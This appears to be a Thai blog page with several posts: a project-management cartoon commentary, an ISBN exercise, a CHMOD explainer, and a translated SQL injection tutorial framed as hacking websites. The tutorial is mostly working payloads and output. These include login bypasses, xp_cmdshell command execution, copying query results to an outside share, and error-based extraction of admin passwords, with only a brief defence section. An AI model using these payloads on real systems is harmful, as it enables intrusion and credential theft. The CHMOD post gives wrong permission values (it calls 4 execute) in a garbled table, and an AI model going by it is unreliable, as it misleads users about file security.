|
|
March 15
ภาพนี้เป็นภาพ classic เลยครับ เพราะมันเป็นการจำลองเหตุการจริง ว่าถ้าผู้ใช้ต้องการพัฒนาอะไรขึ้นมาซักอย่าง ที่แม้แต่ตัวเองก็ไม่รู้ว่าต้องการอะไร แล้วก็มีคนเข้ามาช่วยพัฒนามากมาย มันก็จะเป็นอย่างในภาพครับ (คนที่เป็น customer ก็ควรดูไว้นะนี่)
ดูรูปเต็ม
รูปแรก เป็นความต้องการของผู้ใช้ เค้าคิดมาใกล้เคียงกับสิ่งที่เค้าเคยไปเห็นมาจากนั้นก็เสริมเติมแต่ลงไปอีก เช่นอยากให้นั่งได้หลายๆ คน แต่ก็ไม่ได้บอกตรงๆ แต่กลับบอกว่าให้มีหลายที่นั่ง เอามาซ้อนๆ กัน
รูปที่สอง project leader ของเราเข้าใจผิดไปเล็กน้อยเพราะตอนแรกเค้าไม่รู้ชัดๆ ว่าจะเอาไปใช้ทำอะไร (อาจจะคิดว่าแบบนี้ก็ดีนะ พิงได้ด้วย)
รูปที่สาม System Analyst ก็ฟังความมาจาก Project leader ครับ แต่เค้าพอจะรู้เรื่องเทคนิคอยู่บ้าง ก็จัดการแก้ปัญหาเลย
รูปที่สี่ Programmer จอมขี้เกรียจครับมีความรู้อยู่บ้างก็ปรับเปลี่ยนซะเลย
รูปที่ห้า Consult เค้ารู้ว่าจริงๆควรเป็นอย่างไร แต่ก็ไม่ได้คิดอะไรต่อยอดจากสิ่งที่ตัวเองเคยเห็นมา ก็เอาสิ่งที่รู้มาประกอบร่างกัน
รูปที่หก document ไม่รู้จะเขียนทำไม เขียนไปก็ไม่มีคนอ่าน
รูปที่เจ็ด สิ่งที่ผู้ใช้จะได้ เนื่องจากแก้กันมาหลายตลบ เติมเข้าไปแล้วก็ตัดออก ไปเรื่อยๆ สุดท้ายก็เหลือแค่แกน
รูปที่แปด สิ่งที่ผู้ใช้ต้องจ่าย ทั้งค่าที่ปรึกษา ค่าแก้ไข ค่าอุปกรณ์ และสำคัญที่สุดค่าหมอ (รักษาอาการทางจิต)
รูปที่เก้า ถ้าโครงการทำมาไม่ชัด ก็ไม่อยากมีคนทำมันต่อ ก็จะมี support เท่าที่พอจะมีได้ตามที่ตกลงกัน แต่เนื่องจากไม่มีคนใช้ มันก็ไม่ต้องการ support อยู่แล้ว
รูปที่สิบ ผมคิดว่าภาพที่ชัดๆ แบบนี้ควรอยู่ในใจของทุกคนตั้งแต่ต้น โครงการที่ดีไม่ใช่ต้องคุยให้มากอย่างเดียว แต่ต้องคิดให้หนักด้วยว่าทำแค่ไหนถึงจะไม่มากไป และเก็บความต้องการของผู้ใช้ให้ครบ (ลูกค้าไม่ได้คาดหวังมากอย่างที่เราคิด)
อยากบอกว่าแม้แต่โครงการใหญ่ๆ ที่มีคนเก่งๆ ช่วยกันทำก็มีปัญหานี้เหมือนกัน
คัดลอกจาก : http://www.thaimacdev.com/node/79 February 07 กล่าวโดยรวมนะครับ บทความต่อไปนี้พยายามที่จะช่วยให้ผู้เริ่มต้นที่กำลังเผชิญกับปัญหาเกี่ยวกับการใช้ SQL Injection เพื่อให้เกิด ประโยชน์ และเพื่อป้องกันการโจมตีจากเทคนิคนี้ Credit ข้อมูลเหล่านี้จัดหาและเรียบเรียง โดย SK รายละเอียด 1.0 นำกันก่อนนะ เมื่อระบบเปิดเฉพาะ port 80 คงไม่ต้องมานั่งเสียเวลาให้เปล่าในการควานหาช่องโหว่ เพราะผู้ดูแลระบบก็ คงอุดช่องโหว่ไว้แล้ว ดังนั้นวิธีเดียวคือแฮกผ่านเวปซะเลย SQL injection คือหนทางนึงของการ Hack web ซึ่งไม่ต้อง การอะไรนอกจาก port 80 วิธีนี้จะโจมตี web application (เช่น ASP, JSP, PHP, CGI, etc) มากกว่าที่จะเป็น การโจมตีเครื่อง server หรือ services ที่รันบนระบบปฏิบัติการ บทความนี้ไม่ได้นำเสนอสิ่งใหม่ SQL Injection ถูกเปิดเผยและใช้กันอย่างกว้างขวาง เราเขียนบทความนี้ เพราะเราต้องการบันทึกการใช้ SQL Injection ไว้เป็นเอกสาร และหวังว่าส่วนหนึ่งของมันจะเป็นประโยชน์กับผู้อื่น คุณ สามารถหาข้อมูลเพิ่มเติมได้ในหัวข้อ "9.0 ข้อมูลเพิ่มเติม" (ขี้เกียจแปลสรุปเลย) 1.1 SQL Injection คืออะไร มันคือ trick ที่จะใส่คำสั่ง SQL ลงไปใน via (Vacation Internet Access ) web pages ที่เป็นไปได้ เวปเพจหลายแห่งรับค่า parameter จากผู้ใช้ และสร้างคำสั่งร้องขอไปยังฐานข้อมูล ยกตัวอย่างกรณี login เวปเพจจะสร้าง query เพื่อไปตรวจสอบ user กะ pass ใน DB ว่าถูกต้องหรือไม่ ด้วย SQL Injection มันจะเป็นไปได้ที่จะส่ง user และ pass ที่ถูกสร้างขึ้น ซึ่งจะเปลี่ยน SQL query และ grant (ยินยอม) อะไรทำนองนั้น 1.2 สิ่งที่คุณต้องการ web browser อะไรก็ได้ 2.0 ควรจะมองหาอะไร ต้องมองหาหน้าเวปที่สามารถ submit ได้ เช่น หน้า login, หน้า search, หน้า feedback ฯลฯ บางครั้ง HTML Page จะใช้คำสั่ง post เพื่อส่งค่า parameter ไปยัง ASP Page อีกหน้าหนึ่ง คุณอาจจะเห็นหรือไม่เห็นค่า parameter ใน URL อย่างไรก็ตามคุณสามารถตรวจ source code สำหรับ HTML ได้ และมองหา "FORM" ใน HTML code คุณจะพบเห็นคำสั่งหน้าตาประมาณนี้ ทุกๆ อย่างที่อยู่ระหว่าง และ มีค่าซึ่งอาจเป็นประโยชน์ก็ได้ (เทคนิคการทำ exploit) 2.1 ทำไงถ้าไม่พบหน้าที่มีช่องทาง Input ต้องพยายามมองหาหน้าเพจที่เป็น ASP, JSP, CGI, or PHP พยายามเจาะจงไปที่ URL ที่มีการรับค่า parameter เช่น : http://duck/index.asp?id=10 3.0 คุณจะรู้ได้อย่างไรว่ามีจุดอ่อน เริ่มด้วยการทดสอบโดยใส่ค่าอย่างเช่น hi' or 1=1-- ลงไปในช่อง login หรือ pass หรือ URL ดังกล่าว เช่น - Login: hi' or 1=1-- - Pass: hi' or 1=1-- - http://duck/index.asp?id=hi' or 1=1-- ถ้าต้องการทำวิธีนี้เพื่อผ่านเข้าไปพื้นที่ซ่อนไว้ แค่ download source HTML มาเก็บไว้ในเครื่องแล้วแก้ source ตามนี้ เช่น : ถ้าโชคดี จะผ่านเข้าไปได้โดยไม่ต้องใช้ user หรือ pass 3.1 แต่ทำไมต้องเป็น ' or 1=1-- เราลองมาดูตัวอย่างอีกอันว่าทำไม ' or 1=1-- ถึงสำคัญขนาดนี้ นอกจากจะ bypass login แล้ว มันยัง เป็นไปได้ที่จะทำให้เรามองเห็นข้อมูลที่ไม่เปิดเผยโดยทั่วไปได้ เข้าไปหน้า ASP ที่เข้าไปสู่หน้าเพจอีกหน้าซึ่งมี URL ประมาณนี้นะครับ : http://duck/index.asp?category=food ตรง 'category' เป็นชื่อตัวแปร และ 'food' เป็นค่าที่ส่งให้ตัวแปร 'category' ตามคำสั่งนี้ ASP จะ สร้าง code ตามนี้ (นี่เป็น code ที่เราสร้างขึ้นเพื่อการนี้เท่านั้น...ประมาณว่าของจริงอาจไม่ใช่แบบนี้ก็ได้...แนวๆ..อิอิ) v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) เราจะเห็นได้ว่า ตัวแปรจะถูกเก็บไว้ในตัวแปรอีกตัวที่ชื่อ v_cat ดังนั้น SQL statement ควรจะเป็น : SELECT * FROM product WHERE PCategory='food' (ตรงนี้พวกไม่เคยเล่น query คง กำลังงง ว่ามันคืออะไร...อุอุอุ...พยายามต่อไปครับ ประเคนมาถึงขนาดนี้แล้ว ที่เหลือก็แค่หาช้อนมาตักเข้าปากเท่านั้น) ตาม query นี้ จะทำการดึงฐานข้อมูลแถวที่มี field คำว่า 'food' ออกมา ที่นี่ เรามาลองเปลี่ยน URL ใหม่เป็นแบบนี้ดูนะครับ http://duck/index.asp?category=food' or 1=1-- เราจะเห็นว่าตัวแปร v_cat ของเรา จะถูกรวมเป็น "food' or 1=1-- " (จากเดิมคือ sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'") ถ้าเราแทนที่ SQL query อย่างนี้แล้ว เราจะได้ query ใหม่เป็น : SELECT * FROM product WHERE PCategory='food' or 1=1--' เมื่อได้ query นี้ จะเป็นการเลือกทุกอย่างจากตารางฐานข้อมูลโดยไม่คำนึงถึง ค่า food ตัว "--" (อ่านว่า double dash ตัวขีดสองขีด) บอก MS SQL Server ให้เลิกสนใจ query ชั่วคราว ซึ่งจะกำจัดตัว single quote (') ตัวสุดท้ายออกไป (ถูกป่าวหว่า) บางครั้ง อาจเป็นไปได้ที่จะแทนที่ "--" ด้วย "#" อย่างไรก็ตาม ถ้าหากว่าเขาไม่ใช้ SQL Server หรือคุณไม่สามารถทำ(ให้เลิกสนใจ query ชั่วคราว)ได้ ให้ ลองตัวนี้แทน ' or 'a'='a ซึ่งจะทำให้ SQL query เป็น : SELECT * FROM product WHERE PCategory='food' or 'a'='a' ซึ่งจะ return ผลออกมาเหมือนๆ กัน คุณสามารถลองเปลี่ยนแปลงได้ตามต่อไปนี้ : ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a 4.0 แล้วจะทำ remote execute กับ SQL Injection ยังไงหละ ? การที่จะสามารถที่จะ inject คำสั่ง SQL ได้นั้น เราต้องสามารถ execut SQL query ได้... โดยปกติแล้ว เวปที่ติดตั้ง MS SQL Server นั้นจะถูกรันไว้โดย System ซึ่งมีค่าเท่ากับการที่ Admin เข้าสู่ระบบ Windows เรา สามารถอาศัยขั้นตอนในการสำรอง(ถูกป่าวหว่า อันนี้งูๆ ปลาๆ ) เช่น master..xp_cmdshell ที่จะทำ remote execute '; exec master..xp_cmdshell 'ping 10.10.1.2'-- ถ้า single quote (') ใช้ไม่ได้ให้ลอง double quote (") ตัว semi colon ( จะเป็นการจบคำสั่ง SQL และอนุญาตให้คุณเริ่มคำสั่งใหม่ได้ หากต้องการตรวจสอบคำสั่ง ว่าสำเร็จหรือไม่ สามารถทำได้โดย listen ICMP packet ที่ 10.10.1.2 (อันนี้ผมคงต้องใช้โปรแกรมช่วย) ดูว่าถ้ามี packet ใดๆ จาก server เช่น : #tcpdump icmp ถ้าไม่รับอะไรเลย แถมมี error message อีกตะหาก เป็นไปได้ว่า Admin ได้จำกัดการเข้าถึงของผู้ใช้เวปด้าน การทำ stored procedures ไว้เรียบร้อยแล้ว (ปิดช่องโหว่ซะแล้ว ...ทำไงต่อหละเนี๊ยะ) 5.0 ทำไงที่จะได้มาซึ่งผลลัพธ์จากการใช้ mySQL query ? เป็นไปได้ที่จะใช้ sp_makewebtask เขียน query เข้าไปใน HTML : '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" แต่ IP ของเป้าหมายต้องมี folder ที่เปิด share ไว้แบบ Everyone 6.0 แล้วทำไงจะได้ข้อมูลจาก DB ที่ใช้ ODBC error message หละ ? เราสามารถใช้ข้อมูลจาก error message ที่มาจาก MS SQL Server ได้ เพื่อจะได้มาซึ่งข้อมูลที่เราต้องการ ทดลองเข้าเวปแบบนี้ดูนะ http://duck/index.asp?id=10 เราสามารถลองใช้คำสั่ง UNION จำนวนเต็ม '10' ร่วมกับคำสั่งหรือตัวแปรอื่นๆ ได้ (มั่วไปนั่น) : http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- ตาราง INFORMATION_SCHEMA.TABLES ประกอบด้วยข้อมูลของทุกๆ ตารางใน server (ควรศึกษา เรื่อง DB เพิ่มเติมนะครับ จะมองเห็นภาพเอง) ส่วน field ที่ชื่อ TABLE_NAME นั้นประกอบด้วยชื่อของตารางต่างๆ ใน ฐานข้อมูลอย่างไม่ต้องสงสัย (ตามระบบของ DB จะมีตารางที่เก็บรายชื่อของตาราง คล้ายสารบัญตารางอะไรทำนองนั้น เพื่อใช้ใน การอ้างอิงและง่ายต่อการค้นหา) เหตุที่เลือกตารางนี้เพราะเรารู้ว่ามันมีอยู่จริงๆ query คือ SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- มันจะ return ชื่อของตารางแรกในฐานข้อมูล เมื่อเรา UNION คำสั่งนี้กับจำนวนเต็ม 10 แล้ว MS SQL server จะพยายามแปลง string(nvarchar) ไปเป็น integer (ชนิดของตัวแปล) ซึ่งจะทำให้เกิด error (ความผิดพลาด) ขึ้น (ซึ่งปกติเรา ไม่สามารถแปลงตัวแปร string ไปเป็น interger ได้) ทำให้ server แสดงข้อความ error ออกมาอย่านี้ : Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5 ข้อความข้างบนนี้แสดงให้เราเห็นได้ว่า มันไม่สามารถแปลงตัวแปร string ไปเป็น integer (แปลงข้อความเป็นตัวเลข)ได้ ในกรณีนี้ เราได้รับชื่อของตารางแรกในฐานข้อมูลมาแล้ว คือ "table 1" เพื่อที่จะเอาชื่อของตารางต่อไป เราต้องใช้คำสั่งต่อไปนี้ http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-- เรายังสามารถค้นหาข้อมูลโดยใช้ keyword ทำนองเดียวกันนี้ : http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'-- ซึ่งผลที่ได้รับคือ Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5 ข้อความ '%25login%25' จะถูกมองเห็นเป็น %login% ใน SQL server ในกรณีนี้เราก็จะได้ตารางชื่อ "admin_login" มาแล้ว 6.1 เราจะทำเหมืองข้อมูล(กรรมวิธีที่ใช้ในการแยกแยะข้อมูลเป็น DB)เกี่ยวกับชื่อ column ในตารางทั้งหมดได้ยังไง ? เราสามารถใช้ประโยชน์อีกอย่างหนึ่งจาก INFORMATION_SCHEMA.COLUMNS เพื่อแสดงชื่อ columns ทั้งหมดออกมา : http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- ผลที่ได้คือ : Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 จากผลที่ได้นี้ เราก็จะได้ชื่อ column แรกมา เรายังสามารถใช้ NOT IN () เพื่อจะได้ชื่อ column ถัดไปดังนี้ : http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- ซึ่งผลที่ได้คือ Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5 เมื่อเราทำไปเรื่อยๆเราก็จะเจอชื่อ column เช่น "password", "details" ซึ่งเราจะรู้ได้ว่าเจอแล้วเมื่อปรากฏข้อความ error ดังนี้ http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- ผลที่ได้คือ Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5 6.2 ทำไงถึงจะได้มาซึ่งข้อมูลทุกอย่าง ? ตอนนี้เราสามารถระบุชื่อและcolumn ของตารางที่สำคัญๆ ได้แล้ว เราก็ยังคงใช้เทคนิคเดียวกันนี้กับข้อมูลอื่นๆ ที่เราต้องการจากฐานข้อมูล มองลองเอาชื่อ login_name จากตาราง "admin_login" กัน : http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- ผลที่ได้จากด้านบนคือ Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5 ที่นี้เราก็จะรู้ชื่อของ admin ที่มี login_name ว่า "neo" สุดท้าย เอา pass ของ "neo" มาจาก DB : http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- ผลที่ได้คือ Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5 เราก็จะสามารถ login ได้โดยใช้ user เป็น neo และ passwrod เป็น m4trix 6.3 วิธีที่จะได้มาซึ่งค่า numeric string (ข้อความที่เป็นตัวเลข...อันนี้ต้องเคยเขียนโปรแกรมจึงจะเข้าใจประเภทของตัวแปร) ค่อนข้างจะมีข้อจำกัดสำหรับเทคนิคนี้ คือเราไม่สามารถทำ error message ได้ถ้าต้องการจะ แปลงข้อความเป็น ตัวเลขล้วนๆ พูดง่ายๆ คือ หากเราต้องการจะเอา pass ของคนที่ชื่อ "trinity" ซึ่งเขามี pass เป็น "31173" ซึ่งเป็นตัวเลขทั้งหมด : http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- เราจะพบว่า ผลที่ได้จะเจอกับ "Page Not Found" เพราะ "31173" ซึ่งเป็น string จะถูกแปลงไปเป็น number ก่อนที่จะทำการ UNION กับจำนวนเต็มดังกล่าว (ในที่นี้คือ 10) และหากว่าการ UNION ใช้ได้หรือถูกต้องนั้น SQL server จะไม่ ส่ง error message ออกมา ดังนั้น เราจะไม่สามารถมองเห็นค่าตัวเลขใดๆ เลย (อืมข้อนี้น่าสนใจ เอาไว้ใช้เวลาตั้ง pass สำหรับ admin ได้นะ) การแก้ปัญหานี้ เราสามารถเชื่อมโยง numeric string กับ ตัวอักษรบางตัวแทน ซึ่งต้องมั่นใจว่าการแปลงนั้นส่งผลผิดพลาดแน่นอน(เพื่อ จะให้ server ส่ง error message ออกมา) เรามาลองคำสั่งนี้แทน : http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'-- เราใช้เครื่องหมาย + เพิ่มเข้าไปใน passwd กับ ตัวอักษร ที่เราต้องการ (รหัส ASSCII สำหรับเครื่องหมาย '+' คือ 0x2b) เรายังเพิ่ม '(ช่องว่าง)morpheus' เข้าไปในช่อง passwd ด้วย เพราะฉะนั้นเมื่อเรามีเลข '31173' มันจะกลายเป็น '31173 morpheus' โดยปกติเรียกกันว่าฟังก์ชั่น convert() ซึ่งจะพยายามแปลง '31173 morpheus' ไปเป็นตัวเลขซึ่งจะทำให้ SQL server ส่ง error message ออกมาดังนี้ : Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5 คราวนี้คุณก็สามารถ login ได้โดยใช้ passwd เป็น '31173' 7.0 แล้วเราจะสามารถ update/insert ข้อมูลลงไปใน DB ได้รึป่าว ? ถ้าเรารู้ชื่อของตารางและ column แล้วมันก็เป็นไปได้ที่เราจะสามารถใช้คำสั่ง UPDATE หรือ INSERT ข้อมูล ลงไปในตารางได้ ยกตัวอย่างเช่น การเปลี่ยน passwd ของคนที่ชื่อ "neo" (แปลมาถึงตรงนี้เห็นได้ว่า คนเขียนบ้าหนังเรื่อง Matrix พอสมควร) ทำได้ดังนี้ : http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-- ทีนี่เราก็จะสามารถ login ได้ในชื่อ neo2 และ pass คือ newpas5 8.0 แล้วจะหลีกเลี่ยงวิธีนี้ได้ไงอะ ? กรองตัวอักษรเช่น single quote, double quote, slash, back slash, semi colon extended ตัวอักษร เช่น NULL การ enter การขึ้นบรรทัดใหม่ ฯลฯ ที่เข้ามาในรูป String : - จาก Input ของ users - ค่า Parameters จาก URL - ค่าจากตัวแปร cookie สำหรับค่าทีเป็นตัวเลขให้แปลงเป็น จำนวนเต็มก่อนที่จะวางลงไปในคำสั่ง SQL หรือจะใช้คำสั่ง ISNUMERIC เพื่อให้แน่ใจว่าเป็นตัวเลข จำนวนเต็ม เปลี่ยน "Startup and run SQL Server" โดยปรับ privilege ให้อยู่ในระดับ low ใน SQL Server Security tab ลบ stored procedures ที่ไม่ใช้แล้วทิ้ง เช่น : master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask 9.0 ข้อมูลเพิ่มเติม ในช่วงแรกๆ ในการทำงานเรื่อง SQL Injection นี้ เราได้ค้นพบเอกสารจากเวป Rain Forest Puppy เกี่ยวกับการ hack ด้วยวิธี PacketStrom : http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6 บทความดีๆ เกี่ยวกับ ODBC error message : http://www.blackhat.com/presentations/wi...hfield.doc บทสรุปดีๆ สำหรับ SQL Injection ในหลายๆ SQL server http://www.owasp.org/asac/input_validation/sql.shtml บทความของ Sensepost เกี่ยวกับ SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm อื่นๆ เพิ่มเติม http://www.digitaloffense.net/wargames01/IOWargames.ppt http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6 http://www.spidynamics.com/whitepapers/W...ection.pdf หนังสือที่พิมพ์กันทั้งหลายในโลกนี้จะมีหมายเลข ISBN ขนาด 10 หลัก ตัวอย่างเช่น หนังสือ "การออกแบบและวิเคราะห์อัลกอริทึม" เขียนโดยสมชาย ประสิทธิ์จูตระกูล จัดพิมพ์โดยสำนักงานพัฒนาวิทยาศาสตร์และเทคโนโลยีแห่งชาติ มี ISBN คือ 974 229 026 1 เลขสิบหลักของ ISBN นั้นมีเลขหลักที่สิบ (หลักขวาสุด) เป็นตัวตรวจสอบความถูกต้องของอีก 9 ตัวทางซ้าย (เรียกว่า check digit) ให้ แทนตัวเลขหลักที่ k จะได้ว่า check digit ต้องมีค่าเท่ากับ
 เช่น ถ้า 9 หลักซ้ายของ ISBN คือ 974229026 สามารถคำนวณ check digit ได้ 1x9 + 2x7 + 3x4 + 4x2 + 5x2 + 6x9 + 7x0 + 8x2 + 9x6 = 177 check digit คือ 177 mod 11 = 1 เนื่องจากขั้นตอนสุดท้ายในการหา check digit มาจากการ mod ด้วย 11 ซึ่งมีค่าได้ตั้งแต่ 0 ถึง 10 สำหรับกรณีที่ได้ค่าเป็น 10 จะใช้ตัวอักษร X ที่ตำแหน่ง check digit สิ่งที่ต้องการ เขียนโปรแกรมเพิ่มใน ISBN ให้ทำงานดังนี้ รอรับ ISBN จากผู้ใช้ทางแป้นพิมพ์ ตรวจสอบว่า ISBN ที่ได้รับถูกต้องหรือไม่ ISBN ที่ไม่ถูกต้องมี 3 แบบคือ 1)มีไม่ครบ หรือมีเกิน 10 หลัก 2)เก้าหลักทางซ้ายมีบางตัวไม่ใช่ตัวเลข หรือหลักที่สิบ (ขวาสุด) ไม่ใช่ตัวเลขและไม่ใช่ X 3)check digit มีค่าไม่ถูกต้องตามกฎ ให้แสดงผลของการตรวจสอบทางจอภาพ ดังนี้ ถ้าถูกต้อง ให้แสดงคำว่า CORRECT ถ้าไม่ถูกต้อง แบบที่ 1 ให้แสดงคำว่า INCORRECT 1 แบบที่ 2 ให้แสดงคำว่า INCORRECT 2 แบบที่ 3 ให้แสดงคำว่า INCORRECT 3 February 06
มีหลายท่านสอบถามมาว่า พี่ ผม D/L โปรแกรมไป เขาบอกว่าต้องเปลี่ยนค่า CHMOD เป็น 755 กับไฟล์ก่อน ไม่ทราบว่า CHMOD คืออะไร วันนี้ผมจะมาอธิบายให้ฟัง กับบทความนี้นะครับ
<< CHMOD >>
CHMOD คือ ค่า Permission ครับ หรือธิบายเป็นไทยคือ ค่าของความมีสิทธิ์ในการเข้าถึงและใช้งาน File หรือ Directory นั้น ๆ ซึ่งจะมีค่าต่าง ๆ แบ่งเป็นตัวเลข 3 หลัก เช่น 755, 777 เป็นต้น ในความหมายของเลขแต่ละหลักทั้ง 3 หลัก จะมีความหมายดังนี้
|
ตารางการกำหนดค่า CHMOD แบ่งตามกลุ่ม
|
| หลักแรก Owner
| หลักที่ 2 Group
| หลักที่ 3 Others or Puplic
|
|
Execute
|
Write
|
Read
|
Execute
|
Write
|
Read
|
Execute
|
Write
|
Read
|
|
|
2
|
1
|
4
|
2
|
1
|
4
|
2
|
1 |
Execute คือ การสั่งให้ทำงาน Write คือ การเขียนFile หรือ Directory Read คือ การอ่าน File หรือ Directory
เลขในหลักแรก -> เจ้าของไฟล์/directory (Owner)
ตัวเลขในหลัแรก จะแสดงถึงสิทธิ์ในการเข้าถึงไฟล์ของผู้เป็นเจ้าของไฟล์ หรือ Dir นั้น ๆ ถ้า ตัวเลขหลักแรกเป็นเลข 4 จะหมายความว่า เจ้าของ (Owner) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน เพียงอย่างเดียว แต่ไม่มีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น 6 จะหมายความว่า เจ้าของ (Owner) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ในการเขียนไฟล์นั้นเพียงอย่างเดียว แต่ไม่มีสิทธิ์อ่านไฟล์นั้น (4+2) 7 จะหมายความว่า เจ้าของ (Owner) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น (4+2+1) (ดูค่าตามตาราง ประกอบ)
เลขในหลักที่สอง -> ผู้ใช้กลุ่มเดียวกับเจ้าของไฟล์/directory (Group)
ตัวเลขในหลัแรก จะแสดงถึงสิทธิ์ในการเข้าถึงไฟล์ของผู้เป็นเจ้าของไฟล์ หรือ Dir นั้น ๆ ถ้า ตัวเลขหลักแรกเป็นเลข 4 จะหมายความว่า ผู้ใช้ในกลุ่มเดียวกับเจ้าของ (Group) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน เพียงอย่างเดียว แต่ไม่มีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น 6 จะหมายความว่า ผู้ใช้ในกลุ่มเดียวกับเจ้าของ (Group)ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ในการเขียนไฟล์นั้นเพียงอย่างเดียว แต่ไม่มีสิทธิ์อ่านไฟล์นั้น (4+2) 7 จะหมายความว่า ผู้ใช้ในกลุ่มเดียวกับเจ้าของ (Group) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น (4+2+1) (ดูค่าตามตาราง ประกอบ)
เลขในหลักที่สาม -> ผู้ใช้ในอื่น ๆ (Others)
ตัวเลขในหลัแรก จะแสดงถึงสิทธิ์ในการเข้าถึงไฟล์ของผู้เป็นเจ้าของไฟล์ หรือ Dir นั้น ๆ ถ้า ตัวเลขหลักแรกเป็นเลข 4 จะหมายความว่า ผู้ใช้ในอื่น ๆ มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน เพียงอย่างเดียว แต่ไม่มีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น 6 จะหมายความว่า ผู้ใช้ในอื่น ๆ มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ในการเขียนไฟล์นั้นเพียงอย่างเดียว แต่ไม่มีสิทธิ์อ่านไฟล์นั้น (4+2) 7 จะหมายความว่า ผู้ใช้ในอื่น ๆ มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น (4+2+1) (ดูค่าตามตาราง ประกอบ)
ตัวอย่างเลข 777 จะหมายความว่า ผู้ใช้ในทุกกลุ่ม ไม่ว่าจะเป็นเจ้าของไฟล์ / กลุ่มเดียวกับเจ้าของ / ผู้ใช้อื่น ๆ ทุกกลุ่มที่กล่าวมา มีสิทธิ์ในการกระทำทุกสิ่งกับไฟล์ที่มีค่า CHMOD เป็น 777 เป็นต้น
ตัวอย่างการใช้งานเช่น ในไฟล์ TEXT ของโปรแกรมเรา อย่างเช่นโปรแกรม COUNTER ที่จะต้องมีการ สั่งให้ทำงาน อ่าน และเขียน อยู่ทุก ๆ ครั้งที่มีการเรียกใช้งานเว็บเพจที่มีการติดตั้งโปรแกรมดังกล่าว ไฟล์ TEXT นั้น จะต้องมีการเปลี่ยนค่า CHMOD เป็น 777 เพื่อให้มีการเขียนไฟล์ได้จากผู้ใช้อื่น ๆ เป็นต้น
การเปลี่ยนค่า CHMOD ในโปรแกรม FTP
